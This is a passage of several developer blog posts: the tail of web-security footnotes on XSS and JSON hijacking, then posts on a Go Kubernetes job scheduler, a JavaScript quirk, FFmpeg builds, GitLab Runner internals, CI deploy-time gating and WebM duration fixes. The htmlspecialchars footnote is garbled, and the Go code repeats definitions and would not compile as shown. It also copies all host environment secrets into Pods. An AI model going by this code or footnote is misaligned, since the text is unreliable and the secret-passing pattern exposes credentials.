lab](https://github.com/alo7/web-security-docker/tree/master/back-end/JSON%20Hijacking) [^reflected-dom]: DOM XSS is a kind of reflected XSS. People usually just say reflected XSS, and only split them when they need a finer cut. [^htmlspecialchars]: `htmlspecialchars(string,ENT_QUOTES)` encodes like this: `&` becomes `&`, `"` becomes `"`, `'` becomes `'`, `<` becomes `<`, `>` becomes `>`. [^json-hijacking-principle]: Same in the sense that the bug is born the same way: requests from tags still carry user credentials. --- # Flexible scheduling of a k8s cluster based on task volume - URL: https://bugs.cc/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/ (Markdown: https://bugs.cc/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/index.md) - Language: English - Published: 2019-08-20 - Tags: k8s, golang - Translation (Chinese): https://bugs.cc/zh/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/ ## Intro We recently needed to further control k8s cluster resources for a project, to avoid waste. The project needs a lot of resources: 3 CPU cores and 2G of memory. At first there was no flexible scheduling. The `Pod` stayed running even when there was no work. `Requests` and `Limits` under k8s `Resources` can cut some of that, but you still waste some resources. ## Workflow Before the main text, a quick walk through the flow, so the rest makes sense. Another team inserts a row into the database. A scheduler periodically scans the database. When it sees a new row, it calls the k8s API to create a `Job`. The Job has a `Pod`, and the `Pod` does the work, then exits. Simple on the surface, but a few things matter: 1. The `Pod` needs environment variables, and the `Pod` is created by the scheduler, so those values have to be passed through 2. The scheduler must not change any data. It only reads from the database. That is for decoupling. The scheduler should not care about business logic or data 3. The scheduler itself must not hold any state. Once you have state, you need somewhere to store it, including across scheduler restarts. That only adds burden. 4. You need to consider whether the cluster still has resources to start another `Pod` ## Implementation The scheduler is written in `GoLang`, so the rest uses `Go`. ### Set up a debuggable k8s environment Because this is `Go`, I used the official k8s `client-go` library. The library already has helpers for creating a `clientset`.[^clientset] ```go package main import ( "fmt" "k8s.io/client-go/kubernetes" "k8s.io/client-go/rest" "k8s.io/client-go/tools/clientcmd" ) func main() { // this method contains k8s's own configuration operations for the Cluster kubeConfig, err := rest.InClusterConfig() if err != nil { // in a dev environment, use the current minikube. The KUBECONFIG variable must be set // for minikube, KUBECONFIG can point to $HOME/.kube/config kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig( clientcmd.NewDefaultClientConfigLoadingRules(), &clientcmd.ConfigOverrides{}).ClientConfig() // KUBECONFIG is not set, and we are not running inside a cluster either if err != nil { panic("get k8s config fail: " + err.Error()) } } // failed to create clientset clientset, err := kubernetes.NewForConfig(kubeConfig) if err != nil { panic("failed to create k8s clientset: " + err.Error()) } // created successfully fmt.Println(clientset) } ``` `rest.InClusterConfig()` is also simple: it reads `token` and `ca` from `/var/run/secrets/kubernetes.io/serviceaccount/` on the current machine, plus `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT`, then joins them. If you are curious, see the [source](https://github.com/kubernetes/client-go/blob/40d852a94d979475341d3624f7a2de00730ea68e/rest/config.go#L403-L433). From the above, `rest.InClusterConfig()` is for a machine that is already in the cluster. That will not work in a local dev environment, so we need another path. I already handled that above. When `InClusterConfig` fails, it falls through to: ```go kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig( clientcmd.NewDefaultClientConfigLoadingRules(), &clientcmd.ConfigOverrides{}).ClientConfig() ``` This is also simple: read `KUBECONFIG` from the environment for the local k8s config path. If that variable is missing, use `.kube/config` in the current user's home. Then turn that file into the config we need. Main source: [NewDefaultClientConfigLoadingRules](https://github.com/kubernetes/client-go/blob/40d852a94d/tools/clientcmd/loader.go#L141-L161), [ClientConfig](https://github.com/kubernetes/client-go/blob/40d852a94d/tools/clientcmd/client_config.go#L477-L503) As long as you have a local `minikube`, you can debug and develop.[^rook] ### Create Job and Pod I will not go into the database query. Adapt it to your own business. This is only a starting point. It does not have to be a database. Anything works; it depends on what fits the business. Assume we got a row from the database and need to pass those values into the Pod, so the Pod does not query again. First define the Job: ```go import ( batchv1 "k8s.io/api/batch/v1" apiv1 "k8s.io/api/core/v1" "k8s.io/apimachinery/pkg/api/resource" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) // config required by the job type JobsSpec struct { Namespace string Image string Prefix string } // returns the specified cpu and memory resource values // style follows k8s, see: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53 func getResourceList(cpu, memory string) apiv1.ResourceList { res := apiv1.ResourceList{} if cpu != "" { res[apiv1.ResourceCPU] = resource.MustParse(cpu) } if memory != "" { res[apiv1.ResourceMemory] = resource.MustParse(memory) } return res } // returns a ResourceRequirements object; see the getResourceList comment for details func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements { res := apiv1.ResourceRequirements{} res.Requests = requests res.Limits = limits return res } // convert to pointer func newInt64(i int64) *int64 { return &i } // config for creating the job // returns the specified cpu and memory resource values // style follows k8s, see: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53 func getResourceList(cpu, memory string) apiv1.ResourceList { res := apiv1.ResourceList{} if cpu != "" { res[apiv1.ResourceCPU] = resource.MustParse(cpu) } if memory != "" { res[apiv1.ResourceMemory] = resource.MustParse(memory) } return res } // returns a ResourceRequirements object; see the getResourceList comment for details func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements { res := apiv1.ResourceRequirements{} res.Requests = requests res.Limits = limits return res } // config required by the job type jobsSpec struct { Namespace string Image string Prefix string } // config for creating the job func (j *jobsSpec) Create(envMap map[string]string) *batchv1.Job { u2 := uuid.NewV4().String()[:8] name := fmt.Sprint(j.Prefix, "-", u2) return &batchv1.Job{ ObjectMeta: metav1.ObjectMeta{ Name: name, Namespace: j.Namespace, }, Spec: batchv1.JobSpec{ Template: apiv1.PodTemplateSpec{ Spec: apiv1.PodSpec{ RestartPolicy: "Never", Containers: []apiv1.Container{ { Name: name, Image: j.Image, Env: EnvToVars(envMap), ImagePullPolicy: "Always", Resources: getResourceRequirements(getResourceList("2500m", "2048Mi"), getResourceList("3000m", "2048Mi")), }, }, }, }, }, } } ``` Not much to say here. It is mostly resource definitions, and there are comments above. The code above is missing a piece: injecting variables. That is `EnvToVars`. Core code: ```go // convert an object into the environment variable format k8s accepts func EnvToVars(envMap map[string]string) []v1.EnvVar { var envVars []v1.EnvVar for k, v := range envMap { envVar := v1.EnvVar{ Name: k, Value: v, } envVars = append(envVars, envVar) } return envVars } // get all variables of the current system and convert them into a map func GetAllEnvToMap() map[string]string { item := make(map[string]string) for _, k := range os.Environ() { splits := strings.Split(k, "=") item[splits[0]] = splits[1] } return item } // merge two maps; use a closure for better performance, so sourceMap only needs to be passed once func MergeMap(sourceMap map[string]string) func(insertMap map[string]string) map[string]string { return func(insertMap map[string]string) map[string]string { for k, v := range insertMap { sourceMap[k] = v } return sourceMap } } ``` Usage: ```go job := jobsSpec{ Prefix: "project-" + "dev" + "-job", Image: "docker image name", Namespace: "default", } willMergeMap := MergeMap(GetAllEnvToMap()) // dbData is the data fetched from the database, roughly in this format // [ { id: 1, url: 'xxx' }, { id: 2, url: 'yyy' } ] for _, data := range dbData { currentEnvMap := willMergeMap(data) // create the Job _, err = api.CreateJob(currentEnvMap) if err != nil { panic("create job fail", err.Error()) } } ``` That passes the current environment and the row into the `Pod` as variables. You only need to make sure the scheduler has whatever the `Pod` might need, such as `S3 Token` and `DB Host`. This way the `Pod` does not have to care. The variables it needs come from the scheduler. Clear split of work. ### Optimization The above already covers the core. The logic is not hard. It is not enough on its own. There is more to consider. #### Resource checks One premise first: the scheduler must not change any data. Only the container in the `Pod` may change data. That creates a problem. If the cluster cannot allocate resources, the `Pod` stays `Pending`. Variables are already injected, and because the container never starts, the data is never updated. The scheduler keeps treating the row as new, and starts another Job for it, looping until the cluster has enough resources and one Pod updates the data. Example: the database has a `status` field. When the value is `wating`, the scheduler treats it as new, injects it as environment variables into the Pod, and the Pod changes `waiting` to `process`. The scheduler scans every 3 minutes, so the Pod must update the row within 3 minutes. If resources are short, k8s creates the Pod but the code inside never runs, so the data is never updated, and the scheduler keeps creating Pods for the same row. The fix is simple: check whether any Pod is `Pending`. If so, do not create more. Core code: ```go func HavePendingPod() (bool, error) { // get all pods in the current namespace pods, err := clientset.CoreV1().Pods(Namespace).List(metaV1.ListOptions{}) if err != nil { return false, err } // loop over the pods and check whether each one matches the current prefix; if so, this environment already has a Pending pod for _, v := range pods.Items { phase := v.Status.Phase if phase == "Pending" { if strings.HasPrefix(v.Name, Prefix) { return true, nil } } } return false, nil } ``` When this is `true`, do not create a `Job`. #### Max Job count Cluster resources are not infinite. We handled `Pending`, but that is only a defense. We still need a cap: when the Job count hits a value, stop creating Jobs. The code is simple. Here is how to get the Job count in the current environment: ```go // get the job Item instances of the same environment in the current namespace func GetJobListByNS() ([]v1.Job, error) { var jobList, err = clientset.BatchV1().Jobs(Namespace).List(metaV1.ListOptions{}) if err != nil { return nil, err } // filter out Jobs that do not share the prefix var item []v1.Job for _, v := range jobList.Items { if strings.HasPrefix(v.Name, Prefix) { item = append(item, v) } } return item, nil } func GetJobLenByNS() (int, error) { jobItem, err := api.GetJobListByNS() if err != nil { return maxValue, err } return len(jobItem), nil } ``` #### Delete completed and failed Jobs The code above is wrong in one way. A k8s `Job` does not delete itself when it succeeds or fails. Even after it finishes, the object stays. So the code above also counts completed and failed Jobs. Eventually you cannot create any more Jobs. Two fixes. First, set `spec.ttlSecondsAfterFinished` on the `Job` so k8s garbage-collects finished and failed Jobs. That field only exists on newer versions, and we were on an old one. So the second approach: before counting, call the API to delete completed and failed Jobs: ```go func DeleteCompleteJob() error { jobItem, err := GetJobListByNS() if err != nil { return err } // without this property, deleting a job does not delete its pods propagationPolicy := metaV1.DeletePropagationForeground for _, v := range jobItem { // only delete jobs that have already finished if v.Status.Failed == 1 || v.Status.Succeeded == 1 { err := clientset.BatchV1().Jobs(Namespace).Delete(v.Name, &metaV1.DeleteOptions{ PropagationPolicy: &propagationPolicy, }) if err != nil { return err } } } return nil } ``` ### Conclusion The scheduler is simple. There is no need to extract it into a library. Once you have the idea, you can build a scheduler that fits your project. Thanks to [@qqshfox](https://github.com/qqshfox) for the idea. [^clientset]: Think of `clientset` as a pipe to the cluster master. [^rook]: The approach above follows [rook](https://github.com/rook/rook/blob/823018b1c8c1475fa2a1433aae3c99382c4269cf/cmd/rook/rook/rook.go#L95-L160). --- # Why ('b' + 'a' + + 'a' + 'a').toLowerCase() prints banana - URL: https://bugs.cc/posts/javascript-output-banana/ (Markdown: https://bugs.cc/posts/javascript-output-banana/index.md) - Language: English - Published: 2019-08-15 - Tags: javascript - Translation (Chinese): https://bugs.cc/zh/posts/javascript-output-banana/ ## Intro I was on Weibo today and saw someone post this: ```js ('b' + 'a' + + 'a' + 'a').toLowerCase() // "banana" ``` My first thought was that JavaScript would throw. It did not. So I got curious. ## Analysis After thinking about it, I figured it had to do with JavaScript operator precedence and implicit conversion. So I looked up [JavaScript operator precedence](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table) on MDN. Here are the operators used in that snippet, with their precedence: | Precedence | Operator type | Associativity | Operator | | ---------- | ------------- | ------------- | ----------- | | 20 | Parentheses | n/a | `(...)` | | 16 | Unary plus | Right to left | `+ ...` | | 13 | Addition | Left to right | `... + ...` | OK, with that in mind, let's break the expression apart. First drop `toLowerCase`. That function is useless; it is only there to throw you off. ```js 'b' + 'a' + + 'a' + 'a' // to 'b' + 'a' + (+ 'a') + 'a' ``` That is the important part: unary plus binds tighter than addition, so I marked it with parentheses. Here is what MDN says about unary plus: > The unary plus operator precedes its operand and evaluates it as a number. If the operand is not a number, it tries to convert it to one. Unary minus can also convert non-numeric types, but unary plus is the fastest way to convert other objects to numbers, and the recommended one, because it does not perform any extra operations on the number. It can convert strings to integers and floats, and it can also convert the non-string values true, false, and null. Decimal and hexadecimal strings can be converted to numbers. Negative numeric strings can be converted too (this does not apply to hex). If it cannot parse a value, the result is NaN. Pay attention to these two bits: `if the operand is not a number, it tries to convert it to a number` and `if it cannot parse a value, the result is NaN`. So `+ 'a'` in the snippet becomes `NaN`. The steps: ```js 'b' + 'a' + (+ 'a') + 'a' // to 'b' + 'a' + Number('a') + 'a' // to 'b' + 'a' + NaN + 'a' ``` Clearer already. Next comes implicit conversion. One of JavaScript's rules for `+` is that if either operand is a string, the other is converted to a string too. So `NaN` goes through `toString`. What does that produce? `ECMA-262` covers it: ![ECMA-262 section 9.8.1 ToString Applied to the Number Type: if m is NaN, return the string NaN](https://bugs.cc/images/javascript-output-banana/ecma-tostring-nan.png) In other words, `NaN` becomes `"NaN"`. So the expression is now: ```js 'b' + 'a' + NaN + 'a' // to 'b' + 'a' + "NaN" + 'a' ``` Finally `toLowerCase` lowercases it, and you get `banana`. --- # From the fdk_aac encoder to automated static FFmpeg builds - URL: https://bugs.cc/posts/in-fdk-aac-to-ffmpeg-static-build/ (Markdown: https://bugs.cc/posts/in-fdk-aac-to-ffmpeg-static-build/index.md) - Language: English - Published: 2019-07-15 - Tags: ffmpeg - Translation (Chinese): https://bugs.cc/zh/posts/in-fdk-aac-to-ffmpeg-static-build/ ## Intro I have been doing some video-processing tasks at work, and ran into a requirement to extract the audio from an MP4 into AAC. My first thought was that it was simple: just `ffmpeg -i source.mp4 -vn -acodec copy sound.aac`. That turned out to be wrong. The AAC `duration` and the MP4 `duration` were completely different. See: ![](https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffprobe-duration-mismatch.png) I also tried the methods on the internet, but none of them fixed it. ## Analysis / fix After testing, I found that different bit rates produced different AAC Duration values. But how was I supposed to know what the bit rate was? So I traced it from the start. First, the MP4 came from Webm, and the Webm video came from [MediaRecorder](https://developer.mozilla.org/zh-CN/docs/Web/API/MediaRecorder/MediaRecorder). I looked at the `MediaRecorder API` again and found this property: - `audioBitsPerSecond`: specifies the audio bit rate OK, found it. I changed the code, added the `audioBitsPerSecond` property on the `MediaRecorder` interface, and set it to `128000`, which is `128K`. Then I converted with the command below and checked the result: ```bash ffmpeg -i source.mp4 -vn -acodec aac -b:a 128k -y sound.aac ``` That did not improve things... ![](https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffprobe-duration-128k.png) Then I wondered whether, even with a constant bit rate, there was still some drift, so I changed `128k` to `200k` and tried: ![](https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffmpeg-aac-200k.png) Not only did it not fix it, it increased `duration` even more. When I was close to giving up, [rurico](https://github.com/rurico) suggested trying the `libfdk_aac` encoder. So I recompiled FFmpeg to install the `libfdk_aac` encoder (extra encoders in FFmpeg require a rebuild). ![](https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffmpeg-libfdk-aac.png) It worked... ## Statically compiling FFmpeg / automation But that only worked on a Mac. I needed it to run on `Ubuntu`, and the thought of compiling all of `FFmpeg` on `Ubuntu Docker` already made my scalp tingle. (I spent 4 hours trying to compile FFmpeg with libfdk_aac on Ubuntu, and failed in the end.) After I got home from work and finished dinner, I searched `ubuntu build ffmpeg` again and saw `static build`. It clicked. So I looked for a ready-made statically built FFmpeg. There are some, but because of the libfdk_aac [LICENSE](https://android.googlesource.com/platform/external/aac/+/master/NOTICE), they generally do not include libfdk_aac. Then I found an open source FFmpeg static build project on GitHub: [ffmpeg-static](https://github.com/zimbatm/ffmpeg-static) Testing showed it was fine, but from inside China every download, install, and compile was slow, so I remembered GitLab has a free `runner`. I created a project on GitLab for automatic builds. You only need to add `.gitlab-ci.yml` to the project: ```yaml image: ubuntu:18.04 stages: - build build-ubuntu: stage: build script: - apt-get update - apt-get install -yq bzip2 xz-utils perl tar wget git bc - apt-get install -yq autoconf automake build-essential cmake curl frei0r-plugins-dev gawk libfontconfig-dev libfreetype6-dev libopencore-amrnb-dev libopencore-amrwb-dev libsdl2-dev libspeex-dev libtheora-dev libtool libva-dev libvdpau-dev libvo-amrwbenc-dev libvorbis-dev libwebp-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev libxvidcore-dev lsb-release pkg-config texi2html yasm - git clone https://github.com/BlackHole1/ffmpeg-static - cd ffmpeg-static - chmod 777 * - ./build-ubuntu.sh -B artifacts: name: build paths: - ./ffmpeg-static/bin/* ``` Then push to GitLab, CI triggers automatically. Half an hour later, the result: ![](https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/gitlab-pipeline-passed.png) ![](https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/gitlab-job-artifacts.png) gitlab project: https://gitlab.com/BlackHole1/ffmpeg-static-build --- # GitLab Runner service registration and job capture - URL: https://bugs.cc/posts/gitlab-runner-service-registry-and-principle/ (Markdown: https://bugs.cc/posts/gitlab-runner-service-registry-and-principle/index.md) - Language: English - Published: 2019-07-06 - Tags: gitlab, runner - Translation (Chinese): https://bugs.cc/zh/posts/gitlab-runner-service-registry-and-principle/ ## Environment setup You can follow https://docs.gitlab.com/runner/development/README.html to set this up. Note that the Go version is best kept at `go1.8.7`. With a newer Go version, the install may fail. ## Command registration When `gitlab-runner` registers a runner, it needs three commands: `register`, `install`, and `start`. `install` and `start` are only for service registration. At the entry of [main.go](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/main.go), it calls [common.GetCommands()](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/main.go#L50) That function registers commands. The core is: [![common/command.go#L20-27](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-command2-func.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/common/command.go#L20-27) `Name` is the command we register. `Action` is the method that runs after you invoke it. To register a command, call `RegisterCommand2(name, description, action type)`. ### register `commands/register.go` has an init function that registers `register` [![commands/register.go#L380](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-command-init.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L380) `newRegisterCommand` must return something with `Execute`, which is the action for `register`. [![commands/register.go#L345-363](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/new-register-command.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L345-363) It returns a `RegisterCommand`, and that type implements `Execute`. [![commands/register.go#L288-338](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-execute-method.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L288-338) `s.askRunner()` is the prompts you get after typing the command: gitlab-ci URL, token, description, tags. Inside `askRunner`, after you finish typing, there is a check that the values can actually connect to GitLab CI. Nothing much to say about that. After `askRunner` come `askExecutor` and `askExecutorOptions`. Those ask which executor you want, the prompt we all know: `Please enter the executor: docker+machine, docker, docker-ssh, shell, docker-ssh+machine, kubernetes, parallels, ssh, virtualbox:` When you're done, the values are saved to `~/.gitlab-runner/config.toml`. At this point GitLab CI is already configured. I'll cover `install` and `start` next. ### install/start After registration, `install` installs the GitLab Runner service. Look at `commands/service.go`: [![commands/service.go#L202-242](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/service-commands-init.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L202-242) The other commands are mostly registered here. Ignore those for now and look at `install` and `start`. Both of them run `RunServiceControl`. That function is short: [![commands/service.go#L131-151](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/run-service-control.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L131-151) `install` is special: it also calls `runServiceInstall`, which checks `config.toml` and the current user. Not much to say. It then calls `service.Control(s, c.Command.Name)`. That method comes from [github.com/ayufan/golang-kardianos-service](https://github.com/ayufan/golang-kardianos-service), a library for registering OS services. So `gitlab-runner install` is registering a service whose job is to keep `gitlab-runner` running in the background and start it on boot. After the service is registered, `gitlab-runner start` starts it.[^install-start] When we call `service.Control(s, 'start')`, it runs `s.Start()`, which starts the service. Starting a service also needs a command line, so the system knows which command is the service. The code is: [![commands/service.go#L89-129](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/create-service-config.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L89-129) `Arguments` is an array. The first element is `run`, and the rest are `run`'s flags. So when we use `gitlab-runner start`, internally it uses `run` as the service command. Here's `Run`: [![commands/multi.go#L578-613](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/run-command-run.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/multi.go#L578-613) `mr.feedRunners(runners)` is just a heartbeat. Nothing to say. `mr.startWorkers(startWorker, stopWorker, runners)` is the main path. After 5 or 6 calls, it ends up in `RequestJob`. That's the real work. [![network/gitlab.go#L264-298](https://bugs.cc/images/gitlab-runner-service-registry-and-principle/request-job-func.png)](https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/network/gitlab.go#L264-298) This sends a request asking GitLab whether there is a new job. If there is, it returns the `response`. Somewhere on the call chain, a method loops this function, which is how you get `polling`.[^polling] The end result: after `gitlab-runner` starts, it keeps polling GitLab, asking whether there is a new job. [^install-start]: This could have been folded into install; I don't know why the GitLab docs didn't. [^polling]: I used to think this was a websocket. It's polling. Compatibility, maybe? --- # Production deploy time checks with GitLab CI - URL: https://bugs.cc/posts/gitlab-ci-production-date-check/ (Markdown: https://bugs.cc/posts/gitlab-ci-production-date-check/index.md) - Language: English - Published: 2019-07-06 - Tags: ci/cd, gitlab - Translation (Chinese): https://bugs.cc/zh/posts/gitlab-ci-production-date-check/ ## Background At the company, a lot of projects have a hard rule for production deploys: Thursday and Friday need an email approval to ship to `production`, Saturday and Sunday are off-limits, and Monday through Wednesday you cannot ship between 5pm and 9pm. The point is to cut the risk of shipping when not enough people are around. The only enforcement was each team's self-discipline, and self-discipline is not a reliable control. I think we needed an actual constraint to bring that down. ## Goal With the background set, we need a goal. That is: on some branches, at some times, `CI` should not auto-build. My first idea was a `git hook`. That got rejected, because: - `pre-commit` only sees commit time, not push time - `pre-push` could work, but anyone can skip it with `--no-verify`, and that skip is available to every member of the team. - It cannot really handle `merge`. The usual trick online is checking for a `Merge` string in `prepare-commit-msg`, which is not reliable Ideally, nobody on the team can control this, meaning it cannot be bypassed. The `git hook` approach all runs on each person's machine, so there are all kinds of ways around it. If local checks cannot meet the goal, the check has to live in `gitlab-ci`. ## Implementation One prerequisite: only some people on the team can change CI, and there must be `code review`. You need both before going any further. Add these two variables under `CI Variables`: ```go NOT_SUPPORT_HOUR 17,18,19,20,21 NOT_SUPPORT_WEEK 4,5,6,0 ``` Those variables are how you enforce **only some people can change CI**. Then add a `check_deploy stages` in `.gitlab-ci.yml`, along with the related `pip` ```yaml stages: - check_deploy check_time: image: busybox stage: check_deploy script: - export TZ=UTC-8 - export CURRENT_WEEK=$(date '+%w') - export CURRENT_HOUR=$(date '+%H') - if [ $(echo $NOT_SUPPORT_HOUR | grep "${CURRENT_HOUR}") ]; then exit 126; fi; - if [ $(echo $NOT_SUPPORT_WEEK | grep "${CURRENT_WEEK}") ]; then exit 126; fi; only: - master ``` It boots a `busybox` container, compares the current time against the blocked windows, and exits with `126` if you are inside one. It only applies to the deploy branch (`master` here). That also matches the earlier point: **there must be `code review`**. The approach still has holes: the two prerequisites above, and that this kind of restriction should not live at the `team` level. Ideally no team can change it; real control should sit one layer up. I don't have a good way to pull that layer in yet, so this is how we gate deploys for now. --- # Webm progress bar issue, analysis and a fix - URL: https://bugs.cc/posts/webm-progress-bar-problem-and-solution/ (Markdown: https://bugs.cc/posts/webm-progress-bar-problem-and-solution/index.md) - Language: English - Published: 2019-05-21 - Tags: javascript, webm, ffmpeg, chrome - Translation (Chinese): https://bugs.cc/zh/posts/webm-progress-bar-problem-and-solution/ ## Intro When we generate a `webm` with `getUserMedia`, `MediaRecorder`, and similar APIs, the resulting webm cannot seek. Unless you convert it with `FFmpeg` to another format, or wait until the webm finishes playing, then you can drag the progress bar. ## Analysis After a few hours of digging, it was not a misuse of `MediaRecorder`. Other demos on the web produce the same broken webm. I first focused on the progress bar, found nothing online, tried all kinds of keywords, still nothing. Then I thought of analyzing the file with `FFmpeg`. I ran `ffprobe rebirth-demo.webm`: ```sh $ ffprobe rebirth-demo.webm ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers built with Apple LLVM version 10.0.1 (clang-1001.0.46.4) configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr libavutil 56. 22.100 / 56. 22.100 libavcodec 58. 35.100 / 58. 35.100 libavformat 58. 20.100 / 58. 20.100 libavdevice 58. 5.100 / 58. 5.100 libavfilter 7. 40.101 / 7. 40.101 libavresample 4. 0. 0 / 4. 0. 0 libswscale 5. 3.100 / 5. 3.100 libswresample 3. 3.100 / 3. 3.100 libpostproc 55. 3.100 / 55. 3.100 Input #0, matroska,webm, from 'rebirth-demo.webm': Metadata: encoder : Chrome Duration: N/A, start: 0.000000, bitrate: N/A Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default) Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default) Metadata: alpha_mode : 1 ``` Here is the key: `Duration` and `bitrate` are both `N/A`, which is wrong. I searched `webm duration` and found plenty of write-ups. The gist is that `getUserMedia` and `MediaRecorder` do not write `Duration` and `bitrate` into the webm, which causes this. ## Solutions ### 1. Compute duration and assign it to the `blob` The idea is: record a start time on `start`, subtract it from now on `stop`, and assign that duration to the `blob`. See: [fix-webm-duration](https://github.com/yusitnikov/fix-webm-duration) ### 2. Give the audio element a large duration While playing the webm, you can dynamically give audio a huge duration. This only works in `chrome` right now. See: [How can I add predefined length to audio recorded from MediaRecorder in Chrome?](https://stackoverflow.com/questions/38443084/how-can-i-add-predefined-length-to-audio-recorded-from-mediarecorder-in-chrome) ### 3. Seek to the end, then back to the start As above, once the video has played through, seeking works. So you can just seek with `JS`. See: [hello-its-me](https://github.com/common-nighthawk/hello-its-me/blob/master/public/js/message-create.js#L68-L73) ### 4. Fix it with ffmpeg The first command is: `ffmpeg -i rebirth-demo.webm xixi.webm`, but it is slow, not recommended. A 30 second video takes about 3 minutes. The second command is: `ffmpeg -i rebirth-demo.webm -vcodec copy -acodec copy new_rebirth-demo.webm`. This is fast, because it copies instead of converting: ```sh ffmpeg -i rebirth-demo.webm -vcodec copy -acodec copy new_rebirth-demo.webm ffmpeg version 4.1.3 Copyright (c) 2000-2019 the FFmpeg developers built with Apple LLVM version 10.0.1 (clang-1001.0.46.4) configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr libavutil 56. 22.100 / 56. 22.100 libavcodec 58. 35.100 / 58. 35.100 libavformat 58. 20.100 / 58. 20.100 libavdevice 58. 5.100 / 58. 5.100 libavfilter 7. 40.101 / 7. 40.101 libavresample 4. 0. 0 / 4. 0. 0 libswscale 5. 3.100 / 5. 3.100 libswresample 3. 3.100 / 3. 3.100 libpostproc 55. 3.100 / 55. 3.100 Input #0, matroska,webm, from 'rebirth-demo.webm': Metadata: encoder : Chrome Duration: N/A, start: 0.000000, bitrate: N/A Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default) Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default) Metadata: alpha_mode : 1 Output #0, webm, to 'new_rebirth-demo.webm': Metadata: encoder : Lavf58.20.100 Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080 [SAR 1:1 DAR 16:9], q=2-31, 60 tbr, 1k tbn, 1k tbc (default) Metadata: 